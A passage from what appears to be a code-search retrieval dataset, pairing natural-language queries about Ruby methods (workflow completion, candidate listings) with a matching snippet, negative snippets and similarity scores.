status == 'Unknown'\n end", "def exists?(service_name)\n open_service(service_name, SC_MANAGER_CONNECT, SERVICE_QUERY_STATUS) do |_|\n true\n end\n rescue Puppet::Util::Windows::Error => e\n return false if e.code == ERROR_SERVICE_DOES_NOT_EXIST\n raise e\n end", "def underlying_exception; end", "def exception?\n !!@exception\n end", "def dt_service_exist?\n pattern = /#{DT_SERVICE_NAME}/\n candidates = @services.select do |candidate|\n (\n (candidate['label'] == 'user-provided' && candidate['name'] =~ pattern) ||\n candidate['label'] =~ pattern ||\n (!candidate['tags'].nil? && candidate['tags'].any? { |tag| tag =~ pattern })\n ) &&\n !candidate[CREDENTIALS_KEY].nil? &&\n candidate[CREDENTIALS_KEY][SERVER_KEY] &&\n !candidate[CREDENTIALS_KEY]['environmentid']\n end\n\n raise 'Multiple valid dynatrace services exist.' if candidates.length > 1\n\n candidates.one?\n end", "def failed?\n raise 'Not implemented!'\n end", "def is_recoverable(e)\n (([512, 513, 515].member?(e.code)) or (e.kind_of?(Gsm::TimeoutError)))\nend", "def exceptions\n end", "def rescue_exception?\n !!@rescue_exception\n end", "def has_exception_case?\n @exception_case > 0\n end", "def error?()\n #This is a stub, used for indexing\n end", "def exception; end", "def exception; end", "def exception; end", "def exception; end", "def exception; end", "def eaddrnotavail?() EADDRNOTAVAIL == @error_code; end", "def what_are_you_looking_for?\n raise Exceptions::NotFound.new(404, 'Not Found; You did not find what you were expecting because it is not here. What are you looking for?')\n end", "def handle_not_found_error!\n raise Common::Exceptions::UnprocessableEntity.new(detail: 'Person Not Found')\n end", "def handle_request_error(exception)\n end", "def handle_perform_error(_e); end", "def validate_service_name(service_name)\n return true if skip_validations?\n unless supported_services.include?(service_name)\n supported_services_list = supported_services.join(\", \")\n err(\"Service '#{service_name}' is not a supported service, such as #{supported_services_list}\")\n end\n end", "def event_exception(error_str)\n unless error_str.to_s.include?('Connection reset by peer') or\n error_str.to_s.include?('Connection timed out')\n event_log \"Exception: #{error_str}\"\n end\nend", "def check_error(xml)\n raise NotImplementedError\n end", "def we_are_back_on_the_service_app\n expect { find(\"a\", text: \"Defence request service\") }.to_not raise_error\nend", "def missing?\n status == 404\n end", "def exception_signatures\n [\n SocketError.new('getaddrinfo: Name or service not known'),\n Errno::ECONNREFUSED.new('Connection refused - connect(2) for \"example.com\" port 443'),\n Errno::ETIMEDOUT.new('Connection timed out - connect(2) for \"example.com\" port 443'),\n Net::OpenTimeout.new('message'),\n Errno::ECONNRESET.new('Connection reset by peer - SSL_connect'),\n Errno::EHOSTUNREACH.new('No route to host - connect(2) for \"example.com\" port 443'),\n Errno::ENETUNREACH.new('Network is unreachable - connect(2) for \"example.com\" port 443')\n ]\n end", "def exception_state?(sym); @exception_states.include?(sym) end", "def retry_from_error?(e)\n e.class == Facebooker::Session::UnknownError ||\n e.message =~ /could not be completed due to resource limits/\n end", "def host_unreachable_exceptions\n [::Faraday::Error::ConnectionFailed, ::Faraday::Error::TimeoutError]\n end", "def host_unreachable_exceptions\n [::Faraday::Error::ConnectionFailed, ::Faraday::Error::TimeoutError]\n end", "def recover?\n fail NotImplementedError\n end", "def not_found?\n @status == 404 if @status\n end", "def eaddrinuse?() EADDRINUSE == @error_code; end", "def fatal?\n exception.fatal?\n end", "def raise_if_no_exists_in_vcenter\n raise 'vCenter device does not exist at the moment' unless exists?\n end", "def exception_is_handled?(exception)\n custom_exception_handler(exception)\n end", "def handle_exception(exception)\n end", "def verify_service_and_port_exist!(service_name, port_name)\n service = services[service_name]\n port = service[:ports][port_name] if service\n\n unless port\n raise ArgumentError, \"Unknown service #{service_name.inspect} or port #{port_name.inspect}.\\n\" \\\n \"Here is a list of known services and port:\\n\" + services.inspect\n end\n end", "def check_response_for_errors(response)\n # take no action if there are no errors\n return unless response.soap_fault? || response.http_error?\n\n response_hash = response.to_hash\n if response_hash[:fault] && response_hash[:fault][:detail]\n # we can parse the response, so check the specific error code\n error_code = response_hash[:fault][:detail][:code]\n\n # if we can recognize the specific code, dispatch the proper exception\n if ERROR_HANDLERS.has_key? error_code\n raise ERROR_HANDLERS[error_code], response_hash[:fault][:faultstring]\n end\n\n # otherwise return a well-defined error string with the code and error message\n raise UnknownError, \"#{response_hash[:fault][:detail][:code]} #{response_hash[:fault][:detail][:description]}: #{response_hash[:fault][:faultstring]}\"\n end\n\n # we can't parse the error, so just pass back the entire response body\n raise UnknownError, response.to_s\n end", "def expects_exception?; self.class.expects_exception; end", "def test_invalid_service_for_version\n assert_raise(AdWords::Error::Error) do\n @adwords.get_service('KeywordTool', @latest_version)\n end\n end", "def unknown; status[:unknown] || []; end", "def is_valid?\n raise Exception\n end", "def find(service_name)\n return @services if service_name == :all\n \n service = @services[service_name]\n return service unless service.nil? \n \n ContainerLogger.warn \"Unexisting service called: #{@name}::#{service_name}\", 1\n nil\n end", "def http_error?\n http_error.present?\n end", "def status_is_servererror?\n\t\treturn self.status_category == 5\n\tend", "def foreign_key_error?(exception)\n exception.message =~ /query does not return ResultSet/\n end", "def wrapped_exception; end", "def show_detailed_exceptions?; end", "def exceptions; end", "def service_path\n raise MethodMissingError\n end", "def eprotonosupport?() EPROTONOSUPPORT == @error_code; end", "def friendly_error(e)\n case e\n when Ncio::Support::RetryAction::RetryException::Timeout\n 'Timeout expired connecting to the console service. Verify it is up and running.'\n when OpenSSL::SSL::SSLError\n friendly_ssl_error(e)\n when Ncio::Api::V1::ApiAuthenticationError\n 'Make sure the --cert option value is listed in the certificate whitelist, '\\\n 'and you are able to run puppet agent --test on the master. '\\\n 'The certificate whitelist on the master is located at '\\\n '/etc/puppetlabs/console-services/rbac-certificate-whitelist'\n else\n e.message\n end\n end", "def error(response)\n throw response.http_error? ? response.http_error : response.soap_fault\n end", "def before_server_error(exception); end", "def is_error?\n is_server_error? || is_client_error?\n end" ]
[ "0.74428755", "0.70238966", "0.6777485", "0.6479445", "0.64747727", "0.6433331", "0.6433331", "0.634382", "0.633796", "0.63092834", "0.62726694", "0.6247315", "0.6177071", "0.6176167", "0.6157352", "0.6113539", "0.60616314", "0.60440475", "0.60015726", "0.59978557", "0.59922034", "0.5941928", "0.59368217", "0.59283805", "0.591023", "0.5891963", "0.5889084", "0.5864452", "0.5819477", "0.5819042", "0.5818128", "0.5817337", "0.58163345", "0.58023083", "0.57785785", "0.57724494", "0.57716006", "0.57625335", "0.5754701", "0.574452", "0.5729853", "0.57153404", "0.5699375", "0.5692641", "0.5681462", "0.5681093", "0.56804806", "0.56780237", "0.5677239", "0.5657274", "0.565291", "0.5648845", "0.5642543", "0.5641967", "0.56233895", "0.5622419", "0.5622419", "0.5622419", "0.5622419", "0.5622419", "0.56179434", "0.5617537", "0.56033045", "0.5601495", "0.56012964", "0.5566909", "0.55636466", "0.5563528", "0.55627936", "0.55516547", "0.5550329", "0.5547785", "0.55436087", "0.553983", "0.553983", "0.5538299", "0.55321634", "0.5520638", "0.55186033", "0.55177045", "0.55113435", "0.5501577", "0.5495703", "0.5494082", "0.5486995", "0.54848915", "0.5484051", "0.5478582", "0.54728836", "0.547145", "0.54674864", "0.5466289", "0.5466202", "0.54650617", "0.5458592", "0.5455866", "0.5454093", "0.5452264", "0.54346246", "0.5428315", "0.5419357" ]
0.0
-1
Return True if the workflow is completed If the workflow is completed, then we can return the results via rest api
def workflow_complete? return status == WORKFLOW_COMPLETE || status == UPLOADING_RESULTS_SCORE_RUNNING || status == UPLOADING_RESULTS_SCORE_COMPLETE || status == UPLOADING_RESULTS_VCF_RUNNING || status == UPLOADING_RESULTS_VCF_COMPLETE || status == COMPLETE end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def completed?\n completed\n end", "def completed? # Is task completed? method\n completed_status # True or false\n end", "def complete()\n if @status.status == 'running'\n @logger.info \"Workflow #{self.class.name} has completed successfully\"\n @status.finished\n end\n end", "def completed?\n @completed\n end", "def completed?\n @completed\n end", "def complete?\n status == \"Completed\"\n end", "def iscompleted?\n status == \"completed\"\n end", "def completed?\n self.is_completed\n end", "def completed?\n return @completed\n end", "def completed?\n @completed\n end", "def complete_workflow\n return unless @completed && ! @unhandled_decision\n decision_id = [:SELF, nil]\n if @failure\n @decision_helper[decision_id] = make_fail_decision(decision_id, @failure)\n elsif @cancel_requested\n @decision_helper[decision_id] = make_cancel_decision(decision_id)\n else\n\n if ! @workflow_context.continue_as_new_options.nil?\n @decision_helper[decision_id] = continue_as_new_workflow(decision_id, @workflow_context.continue_as_new_options)\n else\n if @result.nil?\n @decision_helper[decision_id] = make_completion_decision(decision_id, {\n :decision_type => \"CompleteWorkflowExecution\"})\n else\n @decision_helper[decision_id] = make_completion_decision(decision_id, {\n :decision_type => \"CompleteWorkflowExecution\",\n :complete_workflow_execution_decision_attributes => {:result => @result.get }})\n end\n end\n end\n end", "def completed?\n status.completed?\n end", "def completed?\n\t\t@completed\n\tend", "def complete?\n\tstatus == \"Completed\"\n end", "def completed?\n self.status_sym == :completed\n end", "def isCompleted\r\n\t\t\t\t\treturn @completed\r\n\t\t\t\tend", "def isCompleted\r\n\t\t\t\t\treturn @completed\r\n\t\t\t\tend", "def approved?\n self.status == Task::Status::FINISHED\n end", "def completed?\n\t\t\treturn request_status == REQUEST_STATUS['completed']\n\t\tend", "def completed?\n @completed\n end", "def completed?\n self.state == :completed\n end", "def completed?(step_name)\n status_flag = self.published || false\n\n unless self.published\n current_index = HYDRANT_STEPS.index(step_name)\n last_index = HYDRANT_STEPS.index(current_step)\n \n unless (current_index.nil? or last_index.nil?)\n status_flag = (last_index >= current_index)\n end\n end\n \n status_flag\n end", "def is_completed\n params[:search].present? ? params[:search][:status].eql?('Completed') : false\n end", "def completed?\n self.status == STATUS_COMPLETED\n end", "def completed?(step_name)\n status_flag = published? || false\n unless published?\n step_index = HYDRANT_STEPS.index(step_name)\n current_index = HYDRANT_STEPS.index(step_name)\n last_index = HYDRANT_STEPS.index(last_completed_step.first)\n unless (current_index.nil? or last_index.nil?)\n status_flag = (last_index >= current_index)\n end\n end\n status_flag\n end", "def complete?\n xml = @client.get_request(\"/services/search/jobs/#{@sid}\")\n doc = Nokogiri::XML(xml)\n text = doc.xpath(\"//s:key[@name='isDone']\").text\n text.to_i == 1\n end", "def current_workflow_status\r\n return self.workflow_status\r\n end", "def is_done?\n return @is_done\n end", "def completed?\n !!completed\n end", "def finished?\n self.status == 'finished'\n end", "def finished?\n self.status == 'finished'\n end", "def completed?\n completed == '1'\n end", "def performed?\n response_body\n end", "def completed?\n job_completed?\n end", "def finished?\n @status[:description] == :finished\n end", "def completed\n @status = 'complete'\n end", "def job_status_processed?\n if self.has_interpreter_assigned? && self.invoice_submitted? && self.completed?\n return true\n else\n return false\n end\n end", "def successful?\n @progress == 'COMPLETED'\n end", "def completed?\n !self.shift_jobs.empty?\n end", "def success?\n @success ||= @tasks_results.all?(&:success?)\n end", "def became_completed?\n completed_changed? && completed\n end", "def inferred_workflow_status\r\n return \"\"\r\n end", "def completed?\n return @complete\n end", "def completed?\n return @complete\n end", "def done?\n\t\tstatus == DONE\n\tend", "def is_done?\n return self.status == Erp::QuickOrders::Order::STATUS_DONE\n end", "def workflow_launchable?\n !workflow_status_is?(:pending) && current_workflow_processes.empty?\n end", "def processing?\n self.result_payload(true).has_key?('started_at') && !self.result_payload(true).has_key?('finished_at')\n end", "def workflow\n return @workflow\n end", "def successful?\n status == :successful or tasks_are_successful?\n end", "def update_completed? ; false ; end", "def completed?\n attributes['percentDone'] >= 1\n end", "def in_progress?\n result.nil?\n end", "def check_completed\n\t\tend", "def completed?\n COMPLETED_STATES.include?(status)\n end", "def completed?\n \t\tlatest_transaction.completed? unless transactions.empty?\n \tend", "def get_completed_too?\n session.fetch(:completed, params.fetch(:completed, \"0\")) == \"1\"\n end", "def complete?\n status == \"verified\"\n end", "def status\n complete? ? 'Completed' : 'Failed'\n end", "def not_completed?\n status == NOT_COMPLETED\n end", "def finished?\n self.status == STATUS_FINISHED\n end", "def is_complete?\n return ApprovalState::COMPLETED_STATES.include? self.status.to_i\n end", "def completed?\n @__status == TaskStatus::COMPLETED\n end", "def finished?\n ['success', 'failed'].include? status\n end", "def workflow\n end", "def complete?\n self.status == STATUS[:complete] \n #self.status == 1\n end", "def success?\n raw_json['PAYMENTSTATUS'] == 'Completed'\n end", "def pedia_complete?\n return status == COMPLETE\n end", "def check_project_status\n submit_process(:status) if @project.started?\n render json: state_snapshot\n end", "def complete?\n @gapi.job_complete\n end", "def completed\n end", "def complete?\n status_code == 'OK'\n end", "def completed?\n @progress != 'PENDING'\n end", "def finished?\n self.completed? || self.failed?\n end", "def completed?\n @state.to_s =~ /finished|aborted|failed/\n end", "def finished?\n\tfinished_on.present? \n\tend", "def outcome_post_successful?\n @outcome_response && @outcome_response.success?\n end", "def in_progress?\n @in_progress\n end", "def in_progress?\n @in_progress\n end", "def completed?\n completed_at ? true : false\n end", "def completed?\n completed_at ? true : false\n end", "def ready?\n self.result_payload(true).has_key?('finished_at')\n end", "def is_done?\n ssh_url, path = @item_url.split(':')\n `ssh #{ssh_url} ls #{path}/Run.completed 2>/dev/null`.split(\"\\n\").size == 1\n end", "def complete?\r\n @is_complete\r\n end", "def crawling_complete?\n @completed\n end", "def completed\n proptime 'COMPLETED'\n end", "def finished\n @finished.to_s == 'true'\n end", "def finished?\n\t\tfinished_on.present?\n\tend", "def finished?\n\t\tfinished_on.present?\n\tend", "def success?\n @succeeded\n end", "def done?\n return false if status.nil?\n \"done\".casecmp(status).zero?\n end", "def success?\n completed? && !error?\n end", "def is_finished\n\t\tif self.completed_at \n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend", "def completed?(item)\n state_group(item) == :done\n end", "def done?\n @done\n end", "def done?\n @done\n end", "def success\n is_successful?\n end", "def update_done\n self.done = true if COMPLETE_STATUSES.include? self.detailed_status\n end", "def to_do_list_completed?\n return @to_do_list.all? {|item| item.completion_status == true}\n end", "def finished?\n attributes['isFinished']\n end" ]
[ "0.69871557", "0.68729615", "0.68460083", "0.6821065", "0.6821065", "0.6776346", "0.67746854", "0.67564654", "0.670055", "0.66626245", "0.66512233", "0.6635171", "0.6626636", "0.66002434", "0.6598844", "0.6595642", "0.6595642", "0.6580231", "0.6569916", "0.6567461", "0.65417325", "0.6535188", "0.65257204", "0.651916", "0.6481637", "0.6481575", "0.6434623", "0.6418736", "0.6393602", "0.637926", "0.637926", "0.6377231", "0.6369776", "0.63656896", "0.6359025", "0.6351338", "0.6333802", "0.63256127", "0.63101006", "0.63077736", "0.62912816", "0.6262694", "0.62520576", "0.62520576", "0.6250684", "0.6247476", "0.6243721", "0.6241432", "0.62203205", "0.6219056", "0.6210503", "0.6194833", "0.6189616", "0.618808", "0.6184203", "0.6161958", "0.6160356", "0.6156478", "0.6147576", "0.6145075", "0.61299086", "0.61232007", "0.6118222", "0.611784", "0.6117641", "0.6115387", "0.611473", "0.61022645", "0.60929644", "0.6071234", "0.60661215", "0.60610837", "0.6059317", "0.6046775", "0.604035", "0.604", "0.6039618", "0.6031787", "0.6031787", "0.60244745", "0.60244745", "0.60155916", "0.60127956", "0.60080385", "0.6006909", "0.5999549", "0.59991443", "0.599242", "0.599242", "0.5984938", "0.59821004", "0.59814894", "0.5976828", "0.59647197", "0.5964427", "0.5964427", "0.5962774", "0.59609294", "0.59564835", "0.5949079" ]
0.7996282
0
Check if the whole pedia service is complete
def pedia_complete? return status == COMPLETE end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def complete?\n status_code == 'OK'\n end", "def complete?\n !pending?\n end", "def complete?\n true\n end", "def complete?\n completed_at && response\n end", "def check_for_completeness\n mark_complete(Time.now) if paid? && received?\n end", "def complete?\n status == \"Completed\"\n end", "def complete?\n end", "def complete?\n true\n end", "def complete?\n\tstatus == \"Completed\"\n end", "def in_progress?\n started? && response.nil?\n end", "def complete?\n @complete\n end", "def incomplete?\n !complete? && status != 'unknown'\n end", "def complete?\r\n @is_complete\r\n end", "def complete?\n @complete\n end", "def complete?\n return state == \"complete\"\n end", "def complete?\n true\n end", "def complete?\n true\n end", "def crawling_complete?\n @completed\n end", "def complete?\n complete == true\n end", "def complete?\n @gapi.job_complete\n end", "def check_finish\n if @finished_publishing && @pending_hash.empty?\n if @exception_count == 0\n do_stop\n else\n check_retry\n end\n end\n end", "def complete?\n %w[success failure exception].include?(status)\n end", "def scrape_finished?\n guidance_urls.for_scraping.all?(&:scrape_finished?)\n end", "def complete?\n xml = @client.get_request(\"/services/search/jobs/#{@sid}\")\n doc = Nokogiri::XML(xml)\n text = doc.xpath(\"//s:key[@name='isDone']\").text\n text.to_i == 1\n end", "def complete?\n false\n end", "def complete_result?\n @result_count < 1000\n end", "def complete?\n !incomplete?\n end", "def complete?\n !incomplete?\n end", "def complete?\n status == \"verified\"\n end", "def complete?\n result? || error?\n end", "def check_progress\n succeed(self) if finished?\n end", "def finished?\n\tfinished_on.present? \n\tend", "def complete?\n self.complete\n end", "def done?\n @pb_list.empty? or @nb_iter >= MAX_ITER or @pb_list[0].complete?\n end", "def processing?\n hash = status\n return false unless hash\n ['incomplete', 'ready', 'shutting_down'].include? hash[:ensure]\n end", "def odk_awaiting_media?\n params[\"*isIncomplete*\"] == \"yes\"\n end", "def finished?\n\t\tfinished_on.present?\n\tend", "def finished?\n\t\tfinished_on.present?\n\tend", "def finished?\n super && response_received?\n end", "def finished?\n super && response_received?\n end", "def complete?\n self.state == 'complete'\n end", "def check_completed\n\t\tend", "def incomplete?\n !@complete\n end", "def push_to_epic_complete?\n %w(complete failed).include? last_epic_push_status\n end", "def done?\n beam.empty?\n end", "def incomplete?\r\n !complete?\r\n end", "def complete?\n complete = true\n\n devices.each do |device|\n if !device.complete?\n complete = false\n break\n end\n end\n\n return complete\n end", "def complete?\n finished? || cancelled? || failed? || job_failed? || timeout?\n end", "def multi_response_completed?\n @multi_buffer.nil?\n end", "def incomplete?\n running? || pending? || initialized?\n end", "def verify_job_complete(base_64_urn,access_token)\n is_complete = false\n\n while(!is_complete)\n response = RestClient.get(\"#{API_URL}/modelderivative/v2/designdata/#{base_64_urn}/manifest\",\n { Authorization: \"Bearer #{access_token}\"} )\n json = JSON.parse(response.body)\n if(json[\"progress\"]==\"complete\")\n is_complete = true\n puts(\"***** Finished translating your file to SVF - status: #{json['status']}, progress: #{json['progress']} \")\n else\n puts(\"***** Haven't finished translating your file to SVF - status: #{json['status']}, progress: #{json['progress']} \")\n sleep 1\n end\n end\n\n return response\nend", "def in_progress?\n result.nil?\n end", "def query_done?\n [\n Protocol::Beeswax::QueryState::EXCEPTION,\n Protocol::Beeswax::QueryState::FINISHED\n ].include?(@service.get_state(@handle))\n end", "def alive?\n ! @handle.completed\n end", "def completed?\n completed\n end", "def complete?\n self.status == STATUS[:complete] \n #self.status == 1\n end", "def completed?\n return @complete\n end", "def completed?\n return @complete\n end", "def completed?\n\t\t\treturn request_status == REQUEST_STATUS['completed']\n\t\tend", "def ready?\n status == DONE_STATE\n end", "def in_progress?\n progressconditions.any?(&:met?)\n end", "def incomplete?\n not complete?\n end", "def ready?\n self.result_payload(true).has_key?('finished_at')\n end", "def finished?\n !@operations or @operations.empty?\n end", "def done?\n !!status && (!immediate || called)\n end", "def finished?\n true unless self.finished_on.nil?\n end", "def is_done?\n return self.status == Erp::Reservations::Reservation::STATUS_DONE\n end", "def finished?\n\n end", "def done?\n get_ingest_run.done?\n end", "def completed?\n @progress != 'PENDING'\n end", "def response?\n done? && !error?\n end", "def processing?\n if hash = status\n case hash[:ensure]\n when \"incomplete\", \"ready\", \"shutting_down\"\n true\n else\n false\n end\n else\n false\n end\n end", "def verify_job_complete(base_64_urn,access_token)\n Timeout::timeout(120) do # 2 min\n loop do\n response = RestClient.get(\"#{API_URL}/modelderivative/v2/designdata/#{base_64_urn}/manifest\",\n { Authorization: \"Bearer #{access_token}\"} )\n json = JSON.parse(response.body)\n p \"Translate file to SVF - status: #{json['status']}, progress: #{json['progress']}\"\n \n return response if json[\"progress\"]==\"complete\"\n sleep 1\n end\n end\n end", "def incomplete?\n !completed\n end", "def finishable?\n self.status == STATUS_PUBLISHED\n end", "def is_done?\n return @is_done\n end", "def fully_downloaded?\n self.transmission_status == 8 && self.transmission_total_size == self.transmission_downloaded_size\n end", "def done?\n @done \n end", "def wait_until_not_full; end", "def isfull?\n binding.pry\n if self.vol_requests > self.signups.length\n binding.pry\n return false\n end\n return true\n end", "def complete?\n params[\"x_response_code\"] == '1'\n end", "def complete?\n !instrument_end_date.blank? && !instrument_end_time.blank? && instrument_status.to_s == \"Complete\"\n end", "def journey_complete?\n false\n end", "def done?\n waiting || verified || rejected\n end", "def ping_is_pending?\n return @ping_request\n end", "def ready?\n running?(status) && running?(phase)\n end", "def complete?\n if threaded?\n !running?\n else\n true\n end\n end", "def response_incomplete?\n content_for_scanner.strip == \"\"\n end", "def done?\r\n @done\r\n end", "def complete?\n params[\"x_response_code\"] == '1'\n end", "def marked_as_complete?\n get[state.to_s] and get[state.to_s].to_sym == :complete\n end", "def done?\n @grpc_op.done\n end", "def is_complete?()\n return false if @name.nil? || @name.empty?\n return false if @url.nil? || @url.empty? \n return false if @zip.nil? || @zip.empty?\n return false if @lat.nil? || @lat.empty?\n return false if @long.nil? || @long.empty?\n true \n end", "def finished?\n self.completed? || self.failed?\n end", "def is_section_complete(type)\n total = data.pages.select { |p| p.type == type }.count\n complete = data.pages.select { |p| p.type == type && p.status == 'success' }.count\n\n total == complete ? true : false\n end", "def done?\n @done\n end", "def done?\n @done\n end", "def done?\n if @complete == \"Item complete\"\n return \"Item complete\"\n else\n return \"Item incomplete\"\n end\n end", "def complete?(env)\n hit_status(env).present?\n end", "def complete?(env)\n hit_status(env).present?\n end" ]
[ "0.6847561", "0.68245554", "0.6812771", "0.681015", "0.6793678", "0.6774665", "0.6720847", "0.670837", "0.66802007", "0.6670647", "0.66577137", "0.6652871", "0.66319555", "0.6612134", "0.66067743", "0.65827566", "0.65827566", "0.6579573", "0.65789956", "0.6576879", "0.65393174", "0.6530239", "0.6526524", "0.6516281", "0.6477604", "0.64321786", "0.64273787", "0.64273787", "0.6425822", "0.64200974", "0.6406395", "0.6379232", "0.6373732", "0.63662136", "0.6363915", "0.63591784", "0.6358923", "0.6358923", "0.63522494", "0.63522494", "0.6346958", "0.63466394", "0.6342384", "0.6338641", "0.6338214", "0.63375103", "0.6328422", "0.63282645", "0.63261425", "0.63053894", "0.62957335", "0.62943244", "0.6262087", "0.62594867", "0.6249254", "0.62350035", "0.6227726", "0.6227726", "0.62239265", "0.6209576", "0.6193225", "0.61845005", "0.6180624", "0.618061", "0.61614674", "0.61545676", "0.61474746", "0.61449224", "0.61383283", "0.6137994", "0.61323714", "0.61320347", "0.6130961", "0.61296266", "0.61238986", "0.6114991", "0.6113799", "0.6110922", "0.6107632", "0.60970896", "0.6096093", "0.608623", "0.60809046", "0.60777277", "0.60770696", "0.60601026", "0.60549265", "0.6053975", "0.6050191", "0.60446393", "0.60438794", "0.6032045", "0.6022541", "0.6021841", "0.600623", "0.59988993", "0.59988993", "0.5997851", "0.59948874", "0.59948874" ]
0.7960537
0
GET /candidates GET /candidates.json
def index @candidates = Candidate.where(user_id: current_user.id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @candidates = Candidate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @candidates }\n end\n end", "def index\n @candidates = Candidate.all.order(:id)\n #render json: @candidates\n end", "def index\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.all\n end", "def index\n @candidates = Candidate.all\n end", "def index\n if Candidate.count == 0\n source = 'https://geekhunter-recruiting.s3.amazonaws.com/code_challenge.json'\n resp = Net::HTTP.get_response(URI.parse(source))\n data = resp.body\n result = JSON.parse(data)\n result[\"candidates\"].each do |c|\n technologies = []\n c[\"technologies\"].each do |tech|\n technologies.push({ name: tech[\"name\"], is_main_tech: tech[\"is_main_tech\"] })\n end\n candidate = Candidate.new({ city: c[\"city\"], experience: c[\"experience\"], technologies: technologies })\n # if Candidate.find_by_cpf(c[\"cpf\"]).nil?\n # candidate.save\n # end\n candidate.save\n end\n end\n @candidates = Candidate.all\n end", "def show\n @candidate = Candidate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @candidate }\n end\n end", "def index\n @candidates = Candidate.limit(100)\n end", "def index\n @candidates = Usernew.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usernew }\n end\n end", "def show\n @candidate_app = CandidateApp.where(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @candidate_app }\n end\n end", "def new\n @candidate = Candidate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @candidate }\n end\n end", "def create\n @candidate = current_user.candidates.new(candidate_params)\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render :show, status: :created, location: @candidate }\n else\n format.html { render :new }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @group = @authorized_group\n @candidates = @group.candidates\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @candidates }\n end\n end", "def index\n @candidate_details = CandidateDetail.all\n end", "def index\n @candidatedetails = Candidatedetail.all\n end", "def index\n # @candidates = Candidate.all\n @candidates = Position.find(params[:position_id]).candidates\n end", "def index\n @candidates=Candidate.all.order(:id)\n end", "def index\n @candidate_references = @candidate.references\n end", "def new\n @candidate_app = CandidateApp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @candidate_app }\n end\n end", "def index\n @votes = @proposal.votes\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @votes }\n end\n end", "def index\n @candidate_course_scores = @candidate.course_scores\n end", "def index\n candidate = UspsInPersonProofing::Applicant.new(\n address: search_params['street_address'],\n city: search_params['city'], state: search_params['state'],\n zip_code: search_params['zip_code']\n )\n response = proofer.request_facilities(candidate)\n if response.length > 0\n analytics.idv_in_person_locations_searched(\n success: true,\n result_total: response.length,\n )\n else\n analytics.idv_in_person_locations_searched(\n success: false, errors: 'No USPS locations found',\n )\n end\n render json: response.to_json\n end", "def index\n @election = Election.find(params[:election_id])\n @races = @election.races\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @races }\n end\n end", "def friend_search()\n users = User.all.map {|u| u.email }.concat( Candidate.all.map {|u| u.email } )\n render :json => users\n end", "def index\n @vote_candidates = VoteCandidate.all\n authorize VoteCandidate\n end", "def get_candidate(username)\n candidate = @database.get_item(\n table_name: candidates_table_name,\n key: { \"username\" => username },\n consistent_read: true\n )[:item]\n\n candidate['votes'] = candidate['votes'].to_i if candidate\n candidate\n end", "def create\n @result = Result.new()\n\n @result.ip_address = request.remote_ip\n\n unless params[:candidates_ids].nil?\n if params[:candidates_ids].count.eql?(NUMBER_OF_CANDIDATES)\n params[:candidates_ids].each do |candidate_id|\n @result.candidates << Candidate.find(candidate_id)\n end\n end\n end\n\n respond_to { |format|\n if params[:candidates_ids].nil? ? false : params[:candidates_ids].count.eql?(NUMBER_OF_CANDIDATES)\n if @result.save\n format.html { redirect_to(results_path, :notice => \"Thanks for your vote\") }\n format.xml { render :xml => @result, :status => :created, :location => @result }\n cookies[:vote] = {:value => 'sent', :expires => 3.days.from_now}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @result.errors, :status => :unprocessable_entity }\n end\n else\n format.html {\n flash[:alert] = \"You should choose \" + NUMBER_OF_CANDIDATES.to_s + \" candidates\"\n redirect_to (new_result_path)\n }\n end }\n end", "def create\n @candidate = Candidate.new(candidate_params)\n\n respond_to do |format|\n if @candidate.save\n @candidate.vacancies.each { |vacancy| CandidateMailer.thanks(@candidate, vacancy).deliver_now }\n format.json { render :show, status: :created, location: api_candidate_path(@candidate) }\n else\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_candidates\n\t$cand_table.each do |x|\n\t\tputs \"Give me a candidate name:\"\n\t\tx[0] = gets.chomp\n\tend\nend", "def get_candidates(consistent_read)\n candidates = []\n params = {\n table_name: candidates_table_name,\n consistent_read: consistent_read\n }\n\n loop do\n result = @database.scan(params)\n\n # Convert votes to an integer and add the candidate to the candidates array.\n result.items.each do |candidate|\n candidate['votes'] = candidate['votes'].to_i\n candidate['contributions'] = candidate['contributions'].to_i\n candidates << candidate\n end\n\n break if result.last_evaluated_key.nil?\n\n params[:exclusive_start_key] = result.last_evaluated_key\n end\n\n candidates\n end", "def set_candidate\n @candidate = Candidate.includes(:user, :resume).find(params[:id])\n end", "def get_votes\n\t\t@voters.each{ |voter| @votes << voter.vote(@candidates) }\n\tend", "def index\n @candidate_experiences = @candidate.experiences\n end", "def create\n @candidate = Candidate.new(params[:candidate])\n\n respond_to do |format|\n if @candidate.save\n format.html { redirect_to @candidate, notice: 'Candidate was successfully created.' }\n format.json { render json: @candidate, status: :created, location: @candidate }\n else\n format.html { render action: \"new\" }\n format.json { render json: @candidate.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n case params[:eligible_for]\n when 'collaboration'\n @collaborators = eligible_collaborators.limit(20)\n when 'ownership'\n @collaborators = eligible_owners.limit(20)\n else\n @collaborators = User.none\n end\n\n if params[:q]\n @collaborators = @collaborators.search(params[:q])\n end\n\n respond_to do |format|\n format.json\n end\n end", "def index\n @choices = Choice.all\n\n render json: @choices\n end", "def find(id)\nraise \"candidates must be an Array\" if @candidates.nil?\n @candidates.each do |candidate|\n return candidate if candidate[:id] == id\n end\n nil\nend", "def index\n @challenges = 